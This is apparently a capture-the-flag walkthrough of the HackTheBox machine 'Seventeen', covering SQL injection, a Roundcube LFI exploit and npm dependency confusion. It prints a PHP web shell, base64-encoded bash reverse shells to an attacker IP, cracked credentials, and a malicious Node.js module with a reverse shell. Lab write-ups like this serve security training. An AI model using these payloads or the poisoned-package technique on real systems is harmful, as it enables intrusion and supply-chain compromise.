18 KiB
HackTheBox - Seventeen
NMAP
Host is up (0.20s latency).
Not shown: 59883 closed ports, 5649 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us!
8000/tcp open http Apache httpd 2.4.38
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.11; OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT 8000 (HTTP)
Visting this port, it was giving us forbidden error so this could be only accssible through local host
PORT 80 (HTTP)
The web server is using a template page, we don't see anything on the page except for a domain name seventeen.htb
Adding the domain name in /etc/hosts
file
Fuzzing for files and directories using diresarch
, it didn't found anything
It could be that there are other subdomains as there's nothing really on the seventeen.htb, we can fuzz for subdomains using wfuzz
wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://seventeen.htb' -H "Host: FUZZ.seventeen.htb" --hh 20689
This returned us a valid response on exam
so let's add this subdomain in /etc/hosts file
Visting the admin
page we'll see that it's disabled
Looking for exploits regarding Exam Revewier Management System, it showed two exploits
https://www.exploit-db.com/exploits/50725
Since the admin panel is disabled, the authenticated RCE exploit would be useless for us, so checking the sqli on this management system
On running sqlmap
on this parameter it showed that this was vulnerable to sqli
The database for this management system was erms_db
which showed a mangement named oldmanagement
Add this to /etc/hosts file did infact brought us to a login page
Dumping the databases with --dbs
we can see there are 2 more databases, which means that db_sfms
might be for the oldmanagement
From this database, it dumped user
table which some hashes, also it retrieved hashes from student
, so trying to crack them trough crackstation, only one hash was crackable
Logging in with the credentials 31234:autodestruction
This user had uploaded a pdf document, we can download this document and see the contents which reveals antother subdomain mastermailer.seventeen.htb
it also talks about some files uploaded somewhere
Fuzzing for files it found a directory called files
but it showed that it was forbidden to access
The document mentioned about student's file being uploaded but we don't exaclty know if this is where the files are being uploaded, so I fuzz in files folder with student IDs
Running gobuster again in this directory it found another directory called papers
But this directory was also forbidden for us to access and after running gobuster in here showed nothing
Moving on to adding the subdomain in hosts file we can access mastermailer, I tried logging in with the default credentials which failed
Fuzzing for files on this site also showed some directories which were forbidden except for /installer
Going through the changelog on github for roudcube it was showing two vulnerabilities related to LFI and RCE which was found in several version prior to 1.44
On searching for this exploit the LFI matched our scenario as we didn't have creds to login, it was assigned a CVE number 2020-12640
Searching for poc for this exploit lead me to a github repo of the exploit
To exploit this we need first upload a php file named papers.php
having the contents
<?php system($_GET['cmd']); ?>
This file gets uploaded in /var/www/html/oldmanagement/files/31234
, so path traversal in plugin name would be ../../../../../../../../../../../../../../../var/www/html/oldmanagement/files/31234/papers
, we can perform directory traversal in any plugin name we want
Here I have selected zipdownload
plugin, intercept the request on update config and in _plugins_zipdownload
perform directory traversal
And now going to any php file we can include the GET parameter which was cmd
along with the command to be executed
I used bash reverse shell by converting into base64 and decoding by piping and piping again to execute it through bash
bash -i >& /dev/tcp/10.10.14.43/2222 0>&1
echo 'L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQzLzIyMjIgMD4mMScK' | base64 -d | bash
Method 2
If we try accessing the uploaded php file on the oldmangement system it will show a Forbidden error on the page
But on changing the sutdent id at the time of uploading the file it will create a folder with that id and from there we can access the php file
Stabilizing the shell with python
Un-intended Foothold
We can try fuzzing for files and directories here with dirsearch
This found a directory /vendor
which had some folders which lead to three sites
Mastermailer
I tried the default credentials there but they didn't worked
Old Management
This is a school management system which is referred as old, so maybe there are vulnearbilities in this site
I looked at the source of the page and found that there maybe an admin panel
I tried the default password admin:admin which is didn't worked here as well
https://www.exploit-db.com/exploits/48437
On trying a basic sqli payload for bypassing login, it worked
There wasn't anything on this site so I moved on
Exams
The third site is a Exam Reviewer Management system
This management also had vulnerabilities and there were two of them, first being sqli and the second authenticated remote code execution
https://www.exploit-db.com/exploits/50725
https://www.exploit-db.com/exploits/50726
The exploit shows that ?p=take_exam&id=1
is vulnearble to sqli, let's first verify as there wasn't a directory erms
Now running sqlmap
on this url including the parameter
I tried logging in as admin on this site but admin login was disabled
Going back to the oldmanagement site, I dumped the database and found a student's password hash which was cracked
And logging in with the student id 31234
and password autodestruction
it worked and we can see an option to upload a file
I uploaded a basic php shell
On which it just shows a blank page and doesn't upload a file, checking the /files
in oldmanagement it also doesn't show the uploaded file
Checking port 8000 again I saw that this management site was also being hosted there as well
With the same credentials and if we upload a file here, it will show that it's uploaded
Also we can access it by using it's absolute path which is
/oldmanagement/files/31234/test.php?cmd=id
Using bash reverse shell, converting into base64 and piping it to bash
And we are inside a docker container, checking /var/www/html
for files
Privilege Escalation (Mark)
From the oldmanagenemnt system files we can get mysql creds from conn.php
But it was useless as we already had gotten the tables through sql injection, We do see another management system but it doesn't have database connected to it
It gives an error on login for database connection which reveals the file where the credentials are stored for database, checking the dbh.php
I tried using these credentials on the database but they didn't worked
Reading the /etc/passwd
file from the container we can see an entry for mark
user
The password 2020bestyearofmylife
worked for mark and we got access on the box
Privilege Escalation (kavi)
Checking the home directory there's another user named kavi
On checking what files/folders this user owns
In /var/mail
there's a mail for kavi user which talks about a module, loglevel
being published on the private registry
From the /opt/app
directory we see two intersting files startup.sh
and index.js
From the index.js, there's a module which has been removed, it was mentioned that plugins are being published to a private registry, so it could be that this can be installed from that registry as there's a service running on port 4873
Which shows that it's running something calledVerdaccio
and on searching about this, this is actually used for private registry for node modules
But simply installing this module will not working as we need to make npm point to local registry
Now this module would be installed in ./node_modules
of user's directory
From there we can get another password IhateMathematics123#
which will allow us to switch to kavi user
Un-intended Privilege Escalation (kavi)
From the /opt/app
there was a module db-logger
having password for mysql
This password allowed to switch to kavi user
Privilege Escalation (root)
Running sudo -l
we can see that this user can execute /opt/app/startup.sh
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
/usr/bin/npm install $dep
else
/bin/echo "[+] $dep already installed"
fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js
This scripts looks for npm packages db-logger
and loglevel
, since db-logger is already in node_modules
loglevel is something we should mess with, it will fetch this module if it isn't installed and then install this module, it will run index.js
which includes loglevel and is being used
But we can't write in /opt/app
as we have only read rights, right now this module isn't installed
So we can run the script so that this module can be installed
Here we can trick the npm
to download loglevel from our hosted repository of node modules which leads to Dependency Confusion
, which means that index.js will use our malicious loglevel plugin if the version is above than the current version it's fetching and we can already see that once it's installed the version is 1.8.0
so we need to create a module with a version higher than this
https://0xsapra.github.io/website//Exploiting-Dependency-Confusion
But question is from where exacly is npm fetching packages from, if we check .npmrc
in kavi's home directory it's fetching the packages from the registry from localhost which was running on port 4873, it's weird because I didn't saw any package on this system
We can host our own registry for node modules using Verdaccio
Installing verdaccio with npm (make sure to have node version 12 or above)
npm install -g verdaccio
Starting vedaccio on tun0 interface
verdaccio -l IP:4873
We need to add a user before hosting node modules
Following this template for making node modules I modified package.json
https://0xsapra.github.io/website//Exploiting-Dependency-Confusion
Adding a node reverse shell within a fucntion called log
as it's going to be called in the js file, then publishing the node module
function log (msg)
{
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(4444, "10.10.14.19", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
}
module.exports = { log }
Replacing the registry control with our hosted registry
Then just starting our netcat listener and running the script
Un-intended (root)
We can see this moudle is installed now and we own this module so we can modify the contents of the javascript file
Just add a node js reverse shell anywhere in the loglevel.js
file
After modifying, terminate the script and run it again so it runs with the changes in the module and we'll get a revere shell as a root user on our listener
References
- https://www.exploit-db.com/exploits/50725
- https://roundcube.net/news/2020/04/29/security-updates-1.4.4-1.3.11-and-1.2.10
- https://github.com/roundcube/roundcubemail/releases?page=3
- https://attackerkb.com/topics/JQfuTdv5fa/cve-2020-12640/vuln-details
- https://github.com/DrunkenShells/Disclosures/tree/master/CVE-2020-12640-PHP%20Local%20File%20Inclusion-Roundcube
- https://ibreak.software/2016/08/nodejs-rce-and-a-simple-reverse-shell/
- https://0xsapra.github.io/website//Exploiting-Dependency-Confusion
- https://github.com/nodesource/distributions/blob/master/README.md
- https://medium.com/aeturnuminc/publish-and-resolving-npm-packages-using-private-npm-server-easy-step-by-step-c16f886d452f